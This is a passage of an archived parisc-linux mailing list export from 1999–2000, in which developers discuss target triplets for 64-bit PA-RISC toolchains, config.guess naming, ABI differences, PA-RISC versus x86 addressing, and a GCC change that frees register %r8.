  >    'hppa1.1-*-linux-*' for 32-bit Linux and 'hppa2.0w-*-linux-*' for
  >    64-bit Linux.  However the existing configuration files use some
  >    other strange pattern like 'hppa*64*-*-*' to configure for 64-bit
  >    PA-RISC.  Seeing as hppa2.0w is 64-bit by definition I don't think
  >    this makes much sense.
64bit is hppa64-*-*.

We do _not_ want to ever default the tools to 64bit due to the significant
code generation penalties that involves.

Thus we can not key 64bit generation on the strings returned by config.guess.

This was discussed on the gcc, gdb, binutils, and autoconf development 
lists.


  > 2) A corollary to this problem is that the choice of a 32- or 64-bit
  >    target in gas is determined at configure time rather than at
  >    runtime.  Every other architecture allows you to specify the
  >    architecture revision, code model, and word size on the assembler
  >    command line (it's the compiler that gets configured differently),
  >    and it would be nice if we could too.  Can anyone think of a reason
  >    why we cannot do this?
I'm not aware of a technical reason why this will not work in the assembler;
there are *major* problems trying to make this work with the compiler.  Feel
free to try and merge them.

jeff



From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain,  issues/questions
Date: 06 Jul 2000 10:14:28 -0400
Organization: Linuxcare, Inc.
Lines: 36
Approved: news@gmane.org
Message-ID: <87puorl517.fsf@linuxcare.com>
References: <7553.962836782@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618985 1267 80.91.229.3 (22 Nov 2014 01:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Thu Jul  6 08:14:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA22127
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 08:14:03 -0600
Original-Received: (qmail 23948 invoked by uid 15267); 6 Jul 2000 14:15:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23918 invoked from network); 6 Jul 2000 14:15:26 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 14:15:26 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13ACQ9-00009K-00; Thu, 06 Jul 2000 10:14:29 -0400
In-Reply-To: Jeffrey A Law's message of "Wed, 05 Jul 2000 16:39:42 -0600"
Original-Lines: 35
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7502

Jeffrey A Law <law@cygnus.com> writes:

> 64bit is hppa64-*-*.
> 
> We do _not_ want to ever default the tools to 64bit due to the significant
> code generation penalties that involves.
> 
> Thus we can not key 64bit generation on the strings returned by config.guess.

Yes, but I thought that 'hppa2.0w' means 64 bit by definition, so it
strikes me that the problem is with config.guess returning this.

> This was discussed on the gcc, gdb, binutils, and autoconf development 
> lists.

Can you provide a subject: line to search on or a URL?  I can't find
any definitive statements on the semantics of config.guess nor the
proper configuration for 64-bit PA-RISC in the archives.

> I'm not aware of a technical reason why this will not work in the assembler;
> there are *major* problems trying to make this work with the compiler.  Feel

Yes, I'm aware of that :) I was hoping to follow the Sparc model where
the compiler is configured to pass the appropriate flags to the
assembler.

> free to try and merge them.

It turns out this isn't a big priority at the moment since we'd prefer
not to break the existing HP/UX support, but if it turns out to be
easy I might.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain,  issues/questions
Date: 06 Jul 2000 10:49:14 -0400
Organization: Linuxcare, Inc.
Lines: 20
Approved: news@gmane.org
Message-ID: <873dlnl3f9.fsf@linuxcare.com>
References: <7553.962836782@upchuck> <87puorl517.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618985 1272 80.91.229.3 (22 Nov 2014 01:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Thu Jul  6 08:48:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA22553
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 08:48:51 -0600
Original-Received: (qmail 24980 invoked by uid 15267); 6 Jul 2000 14:50:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24806 invoked from network); 6 Jul 2000 14:50:04 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 14:50:04 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13ACxm-00009f-00; Thu, 06 Jul 2000 10:49:14 -0400
In-Reply-To: David Huggins-Daines's message of "06 Jul 2000 10:14:28 -0400"
Original-Lines: 19
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7503

David Huggins-Daines <dhd@linuxcare.com> writes:

> Jeffrey A Law <law@cygnus.com> writes:
> 
> > 64bit is hppa64-*-*.
> > 
> > We do _not_ want to ever default the tools to 64bit due to the significant
> > code generation penalties that involves.
> > 
> > Thus we can not key 64bit generation on the strings returned by config.guess.
> 
> Yes, but I thought that 'hppa2.0w' means 64 bit by definition, so it
> strikes me that the problem is with config.guess returning this.

Oh, and one more thing.  GCC thinks that hppa2.0w is a 64-bit target.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain, 
 issues/questions
Date: Thu, 06 Jul 2000 10:30:43 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <10808.962901043@upchuck>
References: <873dlnl3f9.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618986 1276 80.91.229.3 (22 Nov 2014 01:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  6 10:29:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA23555
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 10:29:32 -0600
Original-Received: (qmail 3137 invoked by uid 15267); 6 Jul 2000 16:30:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3099 invoked from network); 6 Jul 2000 16:30:53 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 16:30:53 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA10811;
	Thu, 6 Jul 2000 10:30:43 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 06 Jul 2000 10:49:14 EDT.
             <873dlnl3f9.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7504

In message <873dlnl3f9.fsf@linuxcare.com>you write:
  > > Yes, but I thought that 'hppa2.0w' means 64 bit by definition, so it
  > > strikes me that the problem is with config.guess returning this.
  > 
  > Oh, and one more thing.  GCC thinks that hppa2.0w is a 64-bit target.
Err, no.  Go look at the official GCC, GDB, binutils repositories.

hppa2.0w is not considered a 64bit target by any of the tools.

jeff



From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain, 
 issues/questions
Date: Thu, 06 Jul 2000 11:01:15 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <11103.962902875@upchuck>
References: <87puorl517.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618986 1281 80.91.229.3 (22 Nov 2014 01:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  6 10:59:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24546
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 10:59:05 -0600
Original-Received: (qmail 3030 invoked by uid 15267); 6 Jul 2000 17:00:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2974 invoked from network); 6 Jul 2000 17:00:24 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 17:00:24 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id LAA11106;
	Thu, 6 Jul 2000 11:01:15 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 06 Jul 2000 10:14:28 EDT.
             <87puorl517.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7505


  In message <87puorl517.fsf@linuxcare.com>you write:
  > Yes, but I thought that 'hppa2.0w' means 64 bit by definition, so it
  > strikes me that the problem is with config.guess returning this.
Yes/No.  It would have been more convenient in some ways if it didn't do
that -- however it has also been argued that not returning the "w" loses
information.  ie, when the "w" is included we have a system that is 
capable of running 64bit binaries -- not all hppa2.0 systems can run
64bit binaries.

  > > This was discussed on the gcc, gdb, binutils, and autoconf development 
  > > lists.
  > 
  > Can you provide a subject: line to search on or a URL? 
I don't remember offhand.

  > I can't find
  > any definitive statements on the semantics of config.guess nor the
  > proper configuration for 64-bit PA-RISC in the archives.
They're there :-)  

  > > I'm not aware of a technical reason why this will not work in the assembl
  > er;
  > > there are *major* problems trying to make this work with the compiler.  F
  > eel
  > 
  > Yes, I'm aware of that :) I was hoping to follow the Sparc model where
  > the compiler is configured to pass the appropriate flags to the
  > assembler.
The biggest problems you're going to run into are radically different ABIs
in the 32bit and 64bit worlds -- things like arguments growing in different
directions.

jeff



From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Linux Kernel and PA-RISC
Date: Mon, 22 Mar 1999 22:57:57 -0800 (PST)
Lines: 80
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990322224839.335B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618986 1283 80.91.229.3 (22 Nov 2014 01:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:26 +0000 (UTC)
Cc: kumar@ix.netcom.com
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Tue Mar 23 01:57:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA23081
	for <hppa-linux@sod.res.cmu.edu>; Tue, 23 Mar 1999 01:57:03 -0500
Original-Received: (qmail 21749 invoked by uid 15267); 23 Mar 1999 06:56:01 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 21742 invoked from network); 23 Mar 1999 06:56:01 -0000
Original-Received: from dfw-ix1.ix.netcom.com (206.214.98.1)
  by mailserv2.iuinc.com with SMTP; 23 Mar 1999 06:56:01 -0000
Original-Received: (from smap@localhost)
          by dfw-ix1.ix.netcom.com (8.8.4/8.8.4)
	  id AAA14023; Tue, 23 Mar 1999 00:56:26 -0600 (CST)
Original-Received: from unknown(207.92.173.228) by dfw-ix1.ix.netcom.com via smap (V1.3)
	id rma014005; Tue Mar 23 00:56:18 1999
Xref: news.gmane.org gmane.linux.ports.parisc:7506






This is a long one. So bear with me.

In the process of trying to know more about PA-RISC, I ended up
doing a following comparative analysis between PA and 80386:

Take a 80386 -

Make segment registers 32 bits wide and instead of defining
how much memory is covered by each segment using Global descriptor
table etc, make each segments of same size that is  32 bits. 

Take out the special meaning assigned to segment registers by hardware
i.e no CS, DS, ES etc etc. Call these new segment registers "spaces"
each capable of addressing 4 Gig of memory. 

So now we have this 2 dimensional virtual address space, %sr.%offset.

Instead of going through a pdir->page_table->page combination as done
in x86, just use a TLB black box:


	%sr.%offset-------->[TLB black-box]---------->a physical page in 
		                       a flat physical address space.

One of the issues while porting Linux to 80386 would be how to implement
this TLB black-box.

I expect folks to correct me if I have faltered or  made any wrong assumptions
so far.


On a x86 Linux box, at any given time following is happening.

Kernel space is defined by 2 segments in GDT, one each for code and data.
User space is defined by 2 segments in GDT, one each for code and data.
There might be others ( Like stack, though i believe u can use data segment).

When a process makes a syscall going through an interrupt gate:

One of things that we do is to save every thing ( HW state), change
CS and DS to those of kernel space, giving a 32 bit virtual address and
depend on  pdir->page_table->page mumbo jumbo to start executing and fetching
instruction in kernel.


My understanding of PA equivalent:

	Since there is no special meaning (except %sr0 which i think is
	used for branch and link space) to any space registers, Juse use
	by convention a particular space register and a value in this space
	register to define Kernel space. 

	There is no segment level protection here ?
	All protection is through protection identifiers and other fields
	in tlb entry data structures. One of the important field here is
	privilege level of the page defined by a particular tlb entry.

	A process makes a syscall by executing a gate instruction on a 
	privileged page, that braches to a syscall entry point in kernel
	and also increases your privilege level.

	To move from real mode to Virtual mode:

	Set things up ( i.e. create pdir and map everything correctly)
	Hope you are executing on a page thats equivalently mapped.
	Turn on I and D bits in PSW and you are in protected mode.

	
	One other question is whats happening to space registers when
	you are running in real mode ?

I hope, this "magnum opus" is enough for today :-)

-pkd


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain,  issues/questions
Date: 06 Jul 2000 14:05:39 -0400
Organization: Linuxcare, Inc.
Lines: 31
Approved: news@gmane.org
Message-ID: <874s63p218.fsf@linuxcare.com>
References: <10808.962901043@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618987 1285 80.91.229.3 (22 Nov 2014 01:16:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Thu Jul  6 12:05:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25170
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 12:05:10 -0600
Original-Received: (qmail 7650 invoked by uid 15267); 6 Jul 2000 18:06:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7617 invoked from network); 6 Jul 2000 18:06:32 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 18:06:32 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13AG1t-0003sB-00; Thu, 06 Jul 2000 14:05:41 -0400
In-Reply-To: Jeffrey A Law's message of "Thu, 06 Jul 2000 10:30:43 -0600"
Original-Lines: 30
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7507

Jeffrey A Law <law@cygnus.com> writes:

> In message <873dlnl3f9.fsf@linuxcare.com>you write:
>   > > Yes, but I thought that 'hppa2.0w' means 64 bit by definition, so it
>   > > strikes me that the problem is with config.guess returning this.
>   > 
>   > Oh, and one more thing.  GCC thinks that hppa2.0w is a 64-bit target.
> Err, no.  Go look at the official GCC, GDB, binutils repositories.
> 
> hppa2.0w is not considered a 64bit target by any of the tools.

Urgh.  Understood.  This means that the gcc tree on
puffin.external.hp.com CVS is quite out of date, which is sort of what
I expected.  I'm looking at the possibility of merging it now.

On the subject of architecture strings:

I know Matthew Wilcox has been pushing for using 'parisc-*-linux-gnu'
and 'parisc64-*-linux-gnu' as the arch strings for 32 and 64 bit
targets, and standardising on a 'linux' dialect of assembly language
for both (basically 2.0 mnemonics).  What would the chances of this
being accepted by the binutils/gcc/autoconf maintainers be?  (should I
be asking this on another list? sorry...)

We need to standardise on these things ASAP, since we are starting to
build userspace, and we will be stuck with them very soon.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain, 
 issues/questions
Date: Thu, 06 Jul 2000 12:16:17 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <11586.962907377@upchuck>
References: <874s63p218.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618987 1288 80.91.229.3 (22 Nov 2014 01:16:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  6 12:14:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25399
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 12:14:05 -0600
Original-Received: (qmail 16202 invoked by uid 15267); 6 Jul 2000 18:15:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16190 invoked from network); 6 Jul 2000 18:15:28 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 18:15:28 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA11589;
	Thu, 6 Jul 2000 12:16:17 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 06 Jul 2000 14:05:39 EDT.
             <874s63p218.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7508


  In message <874s63p218.fsf@linuxcare.com>you write:
  > Urgh.  Understood.  This means that the gcc tree on
  > puffin.external.hp.com CVS is quite out of date, which is sort of what
  > I expected.  I'm looking at the possibility of merging it now.
Certainly possible.  Especially if you get a tree from the releases Cygnus
made to HP.  Lots has changed since then.

  > I know Matthew Wilcox has been pushing for using 'parisc-*-linux-gnu'
  > and 'parisc64-*-linux-gnu' as the arch strings for 32 and 64 bit
  > targets, and standardising on a 'linux' dialect of assembly language
  > for both (basically 2.0 mnemonics).  What would the chances of this
  > being accepted by the binutils/gcc/autoconf maintainers be?  (should I
  > be asking this on another list? sorry...)
  > 
  > We need to standardise on these things ASAP, since we are starting to
  > build userspace, and we will be stuck with them very soon.
I would strongly recommend hppax.y[w] and hppa64 since the GNU tools already
know about those names.  Otherwise you're going to spend a lot of time
unnecessarily hacking up configure scripts.

I believe there's a list (config@gnu.org)?  Where this kind of stuff is
usually discussed.
jeff


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain, issues/questions
Date: Thu, 06 Jul 2000 12:01:30 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200007061901.MAA10121@milano.cup.hp.com>
References: <11103.962902875@upchuck>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618987 1291 80.91.229.3 (22 Nov 2014 01:16:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Jul  6 12:58:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25998
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 12:58:21 -0600
Original-Received: (qmail 28123 invoked by uid 15267); 6 Jul 2000 18:59:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28091 invoked from network); 6 Jul 2000 18:59:44 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 18:59:44 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id BCFCEEE4
	for <parisc-linux@thepuffingroup.com>; Thu,  6 Jul 2000 11:59:43 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA10121
	for <parisc-linux@thepuffingroup.com>; Thu, 6 Jul 2000 12:01:34 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 06 Jul 2000 11:01:15 PDT."
             <11103.962902875@upchuck> 
Xref: news.gmane.org gmane.linux.ports.parisc:7509

Jeffrey A Law wrote:
> ie, when the "w" is included we have a system that is 
> capable of running 64bit binaries -- not all hppa2.0 systems can run
> 64bit binaries.

My brain isn't working that well today...I had the think about this for
a minute...let me make it obvious to others.

The limiting factor would be the OS.
Eg hppa2.0n-linux (or HPUX 10.20) on a system with PA2.0 CPU.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain, 
 issues/questions
Date: Thu, 06 Jul 2000 13:19:09 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <12042.962911149@upchuck>
References: <200007061901.MAA10121@milano.cup.hp.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618988 1297 80.91.229.3 (22 Nov 2014 01:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  6 13:43:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA26657
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 13:43:17 -0600
Original-Received: (qmail 8443 invoked by uid 15267); 6 Jul 2000 19:44:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8417 invoked from network); 6 Jul 2000 19:44:40 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 19:44:40 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id NAA12045;
	Thu, 6 Jul 2000 13:19:09 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 06 Jul 2000 12:01:30 PDT.
             <200007061901.MAA10121@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7510


  In message <200007061901.MAA10121@milano.cup.hp.com>you write:
  > Jeffrey A Law wrote:
  > > ie, when the "w" is included we have a system that is 
  > > capable of running 64bit binaries -- not all hppa2.0 systems can run
  > > 64bit binaries.
  > 
  > My brain isn't working that well today...I had the think about this for
  > a minute...let me make it obvious to others.
  > 
  > The limiting factor would be the OS.
  > Eg hppa2.0n-linux (or HPUX 10.20) on a system with PA2.0 CPU.
Yup.  There are even versions of hpux11 that are not 64bit capable even
on PA2.0 hardware.  For example, unpatched hpux11.00 wouldn't run 64bit
code on a D/R 390.

jeff


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ding dong, reserved %r8 is dead
Date: 06 Jul 2000 18:03:40 -0400
Organization: Linuxcare, Inc.
Lines: 24
Approved: news@gmane.org
Message-ID: <87em56or0j.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618988 1300 80.91.229.3 (22 Nov 2014 01:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Jul  6 16:03:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29045
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 16:03:08 -0600
Original-Received: (qmail 15814 invoked by uid 15267); 6 Jul 2000 22:04:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15807 invoked from network); 6 Jul 2000 22:04:31 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 22:04:31 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13AJkE-0007ue-00
	for <parisc-linux@thepuffingroup.com>; Thu, 06 Jul 2000 18:03:42 -0400
Original-Lines: 23
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7511

As of this afternoon, the GCC in puffin.external.hp.com CVS no longer
reserves %r8.  You will need to get binutils-2.10 or your builds will
be broken.  I've built a successful kernel+palo lifimage with this
GCC, but haven't tested glibc or userspace yet due to reasons
mentioned below, and the fact that I have been also working on merging
our GCC forward to the mainline CVS version (the *real* 2.96 :-)

One other thing - USE_CONST_SECTION is no longer defined to 0, so GCC
will put strings and such in a .rodata section.  I'm not sure why we
were avoiding this in the past - was it a SOM-ism?

I guess there's no good reason not to have read-only data in the text
